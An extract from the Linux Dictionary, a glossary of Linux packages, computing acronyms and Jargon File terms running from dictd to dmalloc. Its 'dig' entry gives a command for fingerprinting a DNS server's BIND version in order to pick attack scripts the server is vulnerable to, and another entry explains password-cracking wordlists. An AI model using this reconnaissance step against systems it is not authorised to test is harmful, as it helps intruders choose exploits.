Dictionary Server Dictd is a TCP based server that allows a client to access dictionary definitions from a set of natural language dictionary databases. Ten dictionary databases have been packaged for debian. They are: `dict-gcide` – An comprehensive dictionary of the English language, based on the 1913 Webster's Unabridged Dictionary `dict-wn` – WordNet 1.7, A Lexical Database for English `dict-jargon` – Hacker's Jargon File `dict-foldoc` – The Free On-line Dictionary of Computing `dict-vera` – List of acronyms used in the field of computing `dict-elements` – Chemical and Physical Properties of the Elements `dict-devil` – "The Devil's Dictionary" by Ambrose Bierce `dict-easton` – Easton's 1897 Bible Dictionary `dict-hitchcock` – Hitchcock's Bible Names Dictionary `dict-gazetteer` – Database of Geographic Data from the U.S. Census These packages are discussed in more detail in the file `/usr/doc/dictd/README.Debian.gz` Either `dict-gcide` or `dict-wn` is essential for a useful dictionary server. It is strongly recommended that both be installed. It is desirable that either `dict-jargon` or `dict-foldoc`, or both of them, be installed. The client program, `dict`, is packaged in `dict*.deb` If you are running a server, you will want the client for all machines in your network, and for testing server operations. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dictfmt

Utility to format a file for use by the dictd server. `dictfmt` converts an input file to a dictionary database that conforms to the DICT protocol, and creates a corresponding index file. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

diction

Utilities to help with style and diction (English and German) This is a free implementation of two Unix commands, `style` and `diction`. They may help you improve your writing. English and German rules are included. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dictionary (wordlist)

In hacking circles, a dictionary is simply a list of words that plug into cracking programs in order to break passwords. Such dictionaries not only contain real words, but words that people choose for passwords (example: NCC1701, which is the serial number for the starship Enterprise in Star Trek). Key point: It takes only a couple minutes to run through hundreds of thousands of words in a dictionary in order to crack a password. Therefore, never choose a word that may be in a dictionary. Key point: The dictionary files that hackers use are not necessarily the same as English dictionaries. In theory, users will choose the same passwords they have used before, and unrelated users will

choose the same passwords. Therefore, lists of passwords users chose in the past forms a key component of hacker dictionaries. Key point: Hackers also run non-English dictionaries, so choosing foreign words isn't a good defense. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Dictionary sort

A sort order that ignores the case of characters as data is rearranged. See sort. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DID

Digital Image Design From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIESEL

Dumb Interpretatively Evaluated String Expression Language (AutoCAD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DietLinux

DietLinux is a dietlibc-based Linux distribution. Glibc is fully avoided. Some of the most important server daemons (DHCP, DNS, etc.) are working. The initial version, 0.1, was released May 16, 2003. Version 0.1.1 was released May 22, 2003. A 'special purpose/mini' distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIF

Document Interchange Format From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

diff

/dif/ n. 1. A change listing, especially giving differences between (and additions to) source code or documents (the term is often used in the plural `diffs'). "Send me your diffs for the Jargon File!" Compare vdiff. 2. Specifically, such a listing produced by the diff(1) command, esp. when used as specification input to the patch(1) utility (which can actually perform the modifications; see patch). This is a common method of distributing patches and source updates in the Unix/C world. 3. v. To compare (whether or not by use of automated tools on machine-readable files); see also vdiff, mod. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

diff

File comparison utilities The diff package provides the diff, diff3, sdiff, and cmp programs. `diff' shows differences between two files, or each corresponding file in two directories. `cmp' shows the offsets and line numbers where two files differ. `cmp' can also show all the characters that differ between the two files, side by side. `diff3' shows differences among three files. `sdiff' merges two files interactively. The set of differences produced by `diff' can be used to distribute updates to text files (such as program source code) to other people. This method is especially useful when the differences are small compared to the complete files. Given `diff' output, the `patch' program can update, or "patch", a copy of the file. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Diffie-Hellman (DH)

The original public-key algorithm. Modern cryptography starts in 1976 when Diffie and Hellman published their groundbreaking paper "New Directions in Cryptography". Contrast: Whereas RSA is based upon the mathematical problem of factoring large numbers, DH is based upon the discrete logarithm problem. Whereas RSA can be used to encrypt messages, DH can only be used for key-exchange. However, RSA is essentially only used for key-exchange in the first place. The disadvantages of DH vs. RSA are: message expansion DH encrypted messages are larger (though this isn't really an issue for key-exchange). key size Current standards (e.g. DSS) specify smaller key sizes than those supported by RSA-based standards. CPU DH based standards take processing time than RSA based equivalents (and a lot more than than elliptical curve techniques). Advantages of DH over RSA are: patents This is no longer an important issue now that RSA patents have expired, but the reason DH became popular was because it was essentially patent-free. key generation It takes a long time to generate RSA keys, so DH is a better option if keys must be generated often. key size For

keys of the same size, DH is more secure. In other words, it takes longer keys for RSA to be as secure as DH. security DH is conjectured to be less likely to be broken by new developments in mathematical theory. Contrast: The most common use of Diffie–Hellman is ElGamal, a public–key encryption variant of Diffie–Hellman. The U.S. government standard DSS is based upon ElGamal. See also: RSA, public–key crypto. From Hacking–Lexicon <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

diffmon

Tool for reporting changes in system configuration. This tool is run by a nightly cron job, and takes a `diff` of specified system configuration files and emails them to a specified email address. Options to diff can be specified. This is useful in friendly environments where there are multiple sysadmins working on configuration files/setups and everyone's changes are reported. CVS is a better answer, but most of us don't want to have the hassle of putting system files in a repository. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

diffstat

produces graph of changes introduced by a diff file This program is a simple that reads the output of the 'diff' program, and produces a histogram of the total number of lines that were changed. It is useful for scanning a patch file to see which files were changed. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

diffstat

The diff command compares files line by line. Diffstat reads the output of the diff command and displays a histogram of the insertions, deletions, and modifications in each file. Diffstat is commonly used to provide a summary of the changes in large, complex patch files. Install diffstat if you need a program which provides a summary of the diff command's output. You also need to install diffutils. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

diffutils

Diffutils includes four utilities: diff, cmp, diff3 and sdiff. * Diff compares two files and shows the differences, line by line. * The cmp command shows the offset and line numbers where two files differ, or cmp can show the characters that differ between the two files. * The diff3 command shows the differences between three files. Diff3 can be used when two people have made independent changes to a common original; diff3 can produce a merged file that contains both persons' changes and warnings about conflicts. * The sdiff command can be used to merge two files interactively. Install diffutils if you need to compare text files. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

DIFMOS

Double Injection Floating Gate MOS From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

dig

DNS lookup utility From whatis <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

dig (domain internet groper)

A tool for system administrators, dig sends DNS queries at the target server and decodes the replies. It is part of the BIND DNS server from the Internet Software Consortium. It is also popular with hackers because it allows fine–tuned queries to be crafted. Key point: Hackers like to run the following command in order to query the version of BIND: dig –t txt –c chaos VERSION.BIND @ns1.example.com The BIND server supports a kludge whereby a "chaos" "txt" record contains the version number of the server. You can look this up in your script–kiddy version list in order to figure out what scripts this server is vulnerable to. Here are some results I get back from this command: 4.9.6–REL RedHat 5.0 (Hurricane) 8.2.1 Mandrake 6.1 (Helios) SERVFAIL Solaris 2.6 NOTIMP WinNT DNS 8.2.2–P5 RedHat 6.2 A result of "SERVFAIL" means either that the target isn't running BIND, or that it is running a version of BIND older than 4.9.5. The result of "NOTIMP" means the server doesn't implement this type of query, which is returned by Microsoft's server. See also: DNS, BIND. From Hacking–Lexicon <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

Digerati

The digital version of literati, it is a reference to a vague cloud of people seen to be knowledgeable, hip, or otherwise in-the-know in regardsto the digital revolution. From Matisse

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIGI

Deutsche InteressenGemeinschaft Internet [e.v.] (org., ISP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Digital

A data signal transmitted using discrete steps in voltage rather than frequency, as in an analog signal.

From Glossary of Distance Education and Internet Terminology

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

digital signature

An authentication code used especially in email which can be used as a traditional written signature.

Digital signatures cannot be forged because the signature is created with a sender's secret key and can be verified by a recipient using the sender's public key. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

digitaldj

An SQL based mp3 player front-end DigitalDJ is an SQL-based front-end to the mpg123 mp3 player designed for people who want to create an mp3 version of their CD collection. It is designed to work with the Grip ripping/encoding application (but can be used separately). When Grip encodes mp3 files, it will place all of the song information into an SQL database. DigitalDJ can then use this information to create playlists based on a number of criteria. You will need a MySQL server, which can either be on the local or a remote host. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DII

Defense Information Infrastructure (mil., USA, DISA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DII

Dynamic Invocation Interface From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Defense Info Infrastructure Common Operating Environment (DISA, mil., USA), "DII COE" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIL

Dual InLine From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dillo

GTK-based web browser Dillo aims to be a multiplatform browser alternative that's small, stable, developer-friendly, usable, fast, and extensible. Dillo is mainly based on GTK+ (GNOME is NOT required!) Dillo is very fast! From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIME

Desktop Integrated Media Environment (COSE) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIME

Direct Memory Execute (AGP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIMM

Dual Inline Memory Module (IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIMSS

DSN Integrated Management Support System (DSN, mil., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIN

Deutsches Institut fuer Normung (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DINAH

Desktop INterface to AUTODIN Host (AutoDIN, mil., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ding

Dictionary lookup program for Unix This is "Ding" * a dictionary lookup program for Unix, * Dictionaary Nice Grep, * a Tk based Front-End to [ae]grep, ispell, dict, ... * Ding {n} :: thing This package needs agrep(1) or egrep(1) as a back end. agrep from the glimpse package is preferable, because it supports fault tolerant searching. You have to install some translation dictionary word list with a word/phrase in two languages in one line with some kind of separator between them. The default configuration of ding uses the German-English dictionary which can be found in the trans-de-en package, but you can use every other translation word lists with one entry per line. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DINO

Deutsches InterNet Organisationssystem (WWW, Uni Goettingen, Germany) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIP

Dial-up Internet Protocol (Linux) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIP

Dual In-line Package (IC, DRAM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

diploma

Write scientific papers with Debian Debian GNU/Linux is widely used at universities to do research and to write papers with LaTeX. The package diploma contains examples which illustrate the possible ways to do this effectively with Debian GNU/Linux. Each example consists of a source tree where you can do "make" in the top level directory and then the source code is compiled, the measurement data are processed, and the results are converted into nice figures. Then the text is processed and combined with the figures to a print file. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dir

list directory contents From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dircolors

color setup for ls From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dircolors

outputs a sequence of shell commands to define the desired color output from ls (and dir, etc.). From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dirproxy

IRC proxy for people who use IRC from different workstations dirproxy is an IRC proxy server designed for people who use IRC from lots of different workstations or clients, but wish to remain connected and see what they missed while they were away. You connect to IRC through dirproxy, and it keeps you connected to the server, even after you detach your client from it. While you're detached, it logs channel and private messages as well as important events, and when you re-attach it'll let you know what you missed. This can be used to give you roughly the same functionality as

using ircII and screen together, except you can use whatever IRC client you like, including X ones!
From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dirdiff

Display and merge changes between two directory trees. Dirdiff can handle up to 5 trees. It displays a main window with a list of the files which are different between the trees, with colored squares to indicate the relative ages of the versions. A menu allows you to display the differences between any two of the versions in another window. Another menu allows you to copy the file from one tree to another. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Directory

A list of files or other directories on a computer at an Internet site. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Directory

The Unix equivalent of a 'folder' on a Macintosh, all files are stored in directories. A directory can be created with the mkdir command and empty directories are removed with rmdir. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Directory Service

A directory is like a database, but tends to contain more descriptive, attribute-based information. The information in a directory is generally read much more often than it is written. As a consequence, directories don't usually implement the complicated transaction or roll-back schemes that regular databases use for doing high-volume complex updates. Directory updates are typically simple all-or-nothing changes, if they are allowed at all. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

directory-administrator

LDAP POSIX user/group manager for gnome. Directory administrator is an LDAP POSIX user/group manager. That, in plain English, means that it will allow you to easily manage your Linux/UNIX users and groups residing in an LDAP database. The 'rules' for this is defined in RFC2307. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIRMU

DIstributed and Reconfigurable MUltiprocessor (MP) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dirname

Parse pathname components From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dirname

strip non-directory suffix from file name From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIS

Defense Information System (mil., USA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIS

Digital Identification Signal (HDLC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIS

Draft International Standard (ISO) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DISA

Data Interchange Standards Association (org.) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DISA

Defense Information Systems Agency (org., mil., USA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DISAIS

DISA Information System (mil., USA), "DISA-IS" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DISANET

DISA Information Network (mil., USA, DISA, network), "DISANet" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DISC

Defense Information System Council (mil., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

disc-cover

Generates CD-disc covers for jewel-cases Disc-cover generates a Postscript page of an audio cd, using the cddb database. Intermediate tex output is also possible. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

disclaimer

n. [Usenet] Statement ritually appended to many Usenet postings (sometimes automatically, by the posting software) reiterating the fact (which should be obvious, but is easily forgotten) that the article reflects its author's opinions and not necessarily those of the organization running the machine through which the article entered the network. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

discover

hardware identification system Discover is a hardware identification system based on the libdiscover1 library. Discover provides a flexible interface that programs can use to report a wide range of information about the hardware that is installed on a Linux system. In addition to reporting information, discover includes support for doing hardware detection at boot time. Detection occurs in two stages: The first stage, which runs from an initial ramdisk (initrd), loads just the drivers needed to mount the root file system, and the second stage loads the rest (ethernet cards, sound cards, etc.). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DISK

Deutschsprachige Internationale SAS-benutzer Konferenz From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

diskd

disk daemon; wait for disk to be inserted TQ From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

diskette

Portable storage medium using magnetic disk of 3 1/2" or 5 1/4" in size and usually storing between 740KB to 1.44MB of data. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

diskless

Generate NFS file structure for diskless boot. This package comes with two programs, diskless_newimage, and diskless_newhost to simplify setting up and maintaining diskless clients NFS-Root file structure. These programs ask user friendly questions to aid configuration of the diskless system to the administrators preference. Either the diskless-image-simple or diskless-image-secure packages are required to be available (NOT INSTALLED!) in order to use this package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Diskless workstation

In a local area network (LAN), a workstation that has a central processing unit (CPU) and random-access memory (RAM) but lacks its own disk drives. Diskless workstations ensure that everyone in an organisation prodics compatible data and helps reduce security risks. However, diskless workstations cause serious loss of speed, flexibility, and originality and with greater vulneratibility to the effects of a disk or system crash. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

diskseekd

disk seek daemon; simulates Messy Dos' drive cleaning effect TQ From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DISN

Defense Information Systems Network (mil., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DISNET

Defense Integrated Secure Network (network, mil., USA, predecessor, DSNET) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DISP

Draft International Standardized Profiles (ISO) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DISP

Dutch Independent Shareware Programmer (org., Netherlands), "D.I.S.P." From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

display-dhammapada

Displays verses from the Dhammapada. Displays a random verse (a dhammapada) from an English translation of the Dhammapada. It works similarly to fortune, so you can put it in your shell startup script. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DISSP

Defense Information System Security Program (mil., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dist

Tools for developing, maintaining and distributing software. The dist package is a set of tools meant to ease the construction and maintenance of portable software. The first component is the Configure script generator, metaconfig, which automatically builds the Configure script from your sources. Ideally, the end-user receiving your source code will simply have to read your README file, run the Configure script (which is self-documented), and then run make. The second component is the Makefile.SH generator, which is a generic configured Makefile, reusing some of the information figured out by Configure, and a generic Jmakefile description. The third component is the RCS aware package generator, which is used when it's time to build up the shell archives used to distribute your program. The fourth and latest component is the patch generator, used to make updates of your sources, which can later be applied on the original distribution by using the patch program. The upstream sources for this package may be downloaded from CPAN, like so:
<http://search.cpan.org/doc/RAM/dist-3.0@70> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Distance Education

Conveying knowledge from a distance. The organizational framework and process of providing instruction at a distance. Distance education takes place when a teacher and student(s) are physically separated, and technology such that voice, video, data and/or print is used to bridge the instructional gap. From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Distance Learning

The term Distance Learning is typically used describe video-enabled instruction (integrated voice, data, and video transmissions) in college, university, medical school or kindergarten through the twelfth-grade environment. Distance Learning permits especially gifted teachers to reach an almost limitless number of students around the world. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

distinguished name (DN)

The six (6) fields comprising the certificate signing request in a SSL or TLS transaction. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

distmp3

Client/daemon for distributed MP3 compression over TCP/IP Client (distmp3) and a daemon (distmp3host) for distributed mp3-encoding across multiple hosts on a network. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Distribution

A packaging of the Linux kernel (core) with various user interfaces, utilities, drivers, and other software into a user deliverable. Often available as a free download or in a low-cost CD-ROM package. Popular distributions include Caldera OpenLinux, CoreLinux, Debian, Red Hat, Slackware, SuSE, TurboLinux and others. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

distribution

n. 1. A software source tree packaged for distribution; but see kit. Since about 1996 unqualified use of this term often implies 'Linux distribution'. The short for distro is often used for this sense. 2. A vague term encompassing mailing lists and Usenet newsgroups (but not BBS fora); any topic-oriented message channel with multiple recipients. 3. An information-space domain (usually loosely correlated with geography) to which propagation of a Usenet message is restricted; a much-underutilized feature. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Distribution System

Any program that can be received by a satellite antenna and distributed into several viewing areas. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIT

Directory Information Tree (X.500) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DITCO

Defense Information Technology Contracting Office (org., mil., DISA, USA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ditty

Allows you to play melodies from your built-in speaker Ditty enables you to play simple melodies from the command line. It does NOT require a sound card, as it can use the built-in speaker to play these melodies just as easily. (Note: in order for the built-in speaker to be used, ditty's stdout must be connected to a tty. Certain terminal emulators, such as xterm, don't support the sound controls. If you aren't using the sound card method, you should generally run ditty from a *real* pseudo-terminal). Some things that may make ditty fun to use are: Adding sound-effects to .bash_login and .bash_logout or other shellscripts. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIU

Digital Interface Unit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIVE

Direct Interface Video Extensions (IBM, MMPM/2) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

divine

Automatic IP configuration detection for laptops A utility to locate current network address via arp requests and perform light reconfigurations based on its findings. "divine" is intended for laptop users or people who use their machines in different networks all the time. It is meant to be run from the PCMCIA network initialization scripts. For more information see: <http://www.fefe.de/divine> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIVX

Digital Video eXpress (DVD), "Divx" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DIX

DEC, Intel, Xerox (ethernet, DEC, Intel, Xerox) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

djbdns-installer

Source only package for building djbdns The following were taken from various HTML pages under <http://cr.yip.to/djbdns.html/> dnscache is a local DNS cache. It accepts recursive DNS queries from local clients such as web browsers and mail transfer agents. It collects responses from remote DNS servers. It caches the responses to save time later. tinydns is a DNS server. It accepts iterative DNS queries from hosts around the Internet, and responds with locally configured information. pickdns is a load-balancing DNS server. It accepts iterative DNS queries from hosts around the Internet, and responds with a dynamic selection of locally configured IP addresses with 5-second TTLs. walldns is a reverse DNS wall. It accepts iterative DNS queries for in-addr.arpa domains from hosts around the Internet, and supplies generic responses that avoid revealing local host information. rbindns is an IP-address-listing DNS server. It accepts iterative DNS queries from hosts around the Internet asking about various IP addresses. It provides responses showing whether the addresses are on a locally configured list, such as RBL or DUL. axfrdns is a DNS zone-transfer server. It reads a zone-transfer request in DNS-over-TCP format from its standard input, and responds with locally configured information. The security of this software is guaranteed by the author. Details of the guarantee can be found at <http://cr.yip.to/djbdns/guarantee.html> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

djtools

Tools for HP DeskJet printer. These tool purpose is to make better use of the HP DeskJet. They allow to send commands to a printer as well as make better use of the HP DeskJet's text modes. These programs were written for the HP DeskJet 500 series but should work with all printers that understand HP PCL. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DKE

Deutsche Elektrotechnische Kommission (org., DIN, VDE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DKRZ

Deutsches KlimaRechenZentrum (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DL

Distribution List From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DLC

Data Link Control From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DLCI

Data Link Connection Identifier (ATM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DLD

Deutsche Linux Distribution (Linux) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DLE

- DLG** Data Link Escape From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- DLG** Digital Line Graph From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- dlint** Checks dns zone information using nameserver lookups This program analyzes any DNS zone you specify, and reports any problems it finds by displaying errors and warnings. Then it descends recursively to examine all zones below the given one (this can be disabled with a command- line option). You don't have to feed any BIND conffiles to Dlint. Dlint uses nameserver calls to gather information. Designed for Unix, dlint is written in Bourne Shell and Perl. You may try it online at <http://www.domtools.com/dns/dlint.shtml> (this server imposes a timeout period; to lint a big zone, you should install dlint yourself and use it locally - that's what this package is for). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- dlint** Internet Domain Name System (DNS) error checking utility From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- DLKL** ??? (DB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- DLL** Delay Locked Loop (GDR-SDRAM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- DLL** Dynamic Link Library From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- DLL** Dynamic Link Loader (BS2000) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- DLL** Dynamically Linked Library, a library linked to an executable program at run-time. From NIS HOWTO <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- dlocate** fast alternative to dpkg -L and dpkg -S uses GNU locate to greatly speed up finding out which package a file belongs to (i.e. a very fast dpkg -S). many other uses, including options to view all files in a package, calculate disk space used, view and check md5sums, list man pages, etc. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- DLP** Digital Light Processing (TI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- DLP** Discrete Logarithmic Problem From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- DLPI** Data Link Provider Interface (X/Open) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- DLR** Dynamic Link Routine From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- DLS** DOS LAN Services (IBM, LAN Server) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- DLS** DownLoadable Sounds From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- DLSW**

Data Link SWitching (APPN, MPTN, RFC 1795, SNA, NETBIOS), "DLSw" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DLT

Digital Line Tape (DEC, Streamer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DLX

DLX is a full featured Linux system running on Intel PCs. DLX comes on a single 3.5" floppy disk. DLX also supports a parallel-port ZIP-Drive drive. Good for network trouble-shooting and/or FTPing from a university pc-lab. Last new version was released in 1996. Distribution development is not all that active. <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DM

Delta Modulation From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DM

DeMilitarisierte zone (Firewall) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DM

Development Machine (Corel) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DM

Disconnect Mode (LAPB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DMA

Direct Memory Access (DMA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DMAC

Direct Memory Access Controller From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dmachinemon

Network-wide monitoring suite for monitoring machine status For monitoring a bunch of network-connected computers, dmachinemon is an ideal software. It can be used to show load average, available memory, and top processes running on each machine. Includes convenience scripts, and other tools. dmachinemon-html needs to be available on html-generating system From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dmachinemon-gtkiface

Network-wide monitoring suite for monitoring machine status For monitoring a bunch of network-connected computers, dmachinemon is an ideal software. It can be used to show load average, available memory, and top processes running on each machine. this package contains dmachinemon-gtkiface a GTK+ interface to dmachinemon From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dmachinemon-master

Network-wide machine monitoring suite -- master For monitoring a bunch of network-connected computers, dmachinemon is an ideal software. It can be used to show load average, available memory, and top processes running on each machine. This package includes dmachinemon-master, which needs to be installed on the master system. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dmachinemon-servent

Network-wide monitoring suite -- servent For monitoring a bunch of network-connected computers, dmachinemon is an ideal software. It can be used to show load average, available memory, and top processes running on each machine. This package includes dmachinemon-servent, for servent systems, which often are cluster nodes. A servent system is a node which does the role of a server and a client, providing and requesting information at the same time. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dmachinemon-treeview

Network-wide machine monitoring suite – topology viewer For monitoring a bunch of network-connected computers, dmachinemon is an ideal software. It can be used to show load average, available memory, and top processes running on each machine. Includes network topology debugging (tree structure viewing) suite. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dmail

procmial Mail Delivery Module From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dmalloc

